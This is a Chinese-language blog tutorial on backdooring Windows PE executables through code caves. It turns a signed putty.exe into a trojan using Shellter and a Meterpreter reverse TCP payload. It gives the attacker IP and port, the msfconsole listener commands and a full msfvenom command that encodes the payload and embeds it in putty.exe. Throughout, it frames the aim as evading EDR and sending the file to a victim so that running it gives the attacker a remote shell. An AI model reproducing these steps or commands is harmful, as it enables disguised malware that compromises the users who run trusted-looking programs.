知识卡片
-
PE是 Windows 系统下可执行文件,所有 EXE/DLL/SYS 本质都是 PE 文件
-
代码洞穴(Code Cave)是 PE 文件中未使用的空白区域
-
PE 后门核心逻辑:找洞穴→插加密 Shellcode→修执行流→免杀混淆,全程不破坏原 PE 文件功能
详细讲解
首先我们进行一个对比,思考给目标发送一个payload.exe和给目标发送一个带有数字签名且为大厂出的putty.exe。这两个哪个面对EDR容易过呢,这里显然是putty.exe。
PE文件后门的本质:"寄生",在不影响原程序正常使用的情况下,植入我们必须的恶意代码并优先执行
这里我们要了解一下 Code Cave代码洞,即编译器在生成PE文件时为对齐内存,在节末尾留下的一串0x00,结构如下:
[ PE 头]
[ Section 表]
[ .text 段] <-- 我们的目标,通常有执行权限
|-- 正常指令 --|
|-- 00 00 00 --| <-- Code Cave (我们要注入的地方)
[ .data 段]
操作步骤:
-
找洞:在
.text段找到足够大的全零区域 -
改入口:将PE头的
AddressOfEntryPoint指向这个洞 -
写Payload:把Shellcode塞进去
-
复原程序:Shellcode跑完后,还要跳回原来的入口点,否则程序就会卡死、崩溃
写到这里我突然想起Shellter工具的实现原理就是基于上述步骤,Shellter工具实现了自动找Code Cave,自动插入代码、自动修改跳转。
实战练习
这里我们将Putty.exe制作成后门木马,这里我们用两种方法制作,第一种就是利用Shellter进行自动化制作,第二种就是我们手动找Code Cave插入制作
法一:Shellter自动化制作
工具下载地址:
选择模式:
选择模式为“a”代表自动
需要选择一个可执行文件,并将其复制到Shellter文件夹中。
这里将putty.exe文件复制到Shellter文件夹,并将其与shellter.exe文件绑定
(由于Shellter仅支持32位PE文件。若注入64位文件就会直接报错。所以这里的putty.exe也是32位的)

然后可以看到DisASM.dll已经成功创建,并询问是否启用隐形模式。
输入'y'表示同意

选择Payload有效负载
Shellter会询问是想使用列出的有效载荷还是自定义有效载荷
输入'L'使用列出的Payload,并且选择第一个payload(Meterpreter_Reverse_TCP)

接着设置LHOST与LPORT
LHOST 设置为 192.168.1.133[攻击者IP]LPORT 设置为 4444

'a'模式下生成的新文件会覆盖原文件
打开Msf并开启监听
msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.1.133 set lport 4444 exploit
然后将putty.exe文件发送到受害者机器,受害者机器一旦运行putty.exe我们就会收到shell

但是当受害者关闭这个putty.exe的时候会话就会直接断掉因为putty.exe是个前台交互进程,关闭窗口相当于进程终止,不过这个问题我们可以通过改善payload解决,即自定义一个自带进程迁移的payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.133 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o payload.exe -k -x putty.exe -a x86 --platform windows -b "\x00"
法二:手动Cave Code注入捆绑
这里手动的话需要写汇编及ShellCode、x32/x64dbg工具的使用,这里先暂时放一放当作一个坑,等后面再进修一下回填
非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://www.oneblanks.xyz/pe%e6%96%87%e4%bb%b6door%e6%8a%80%e6%9c%af/
共有 0 条评论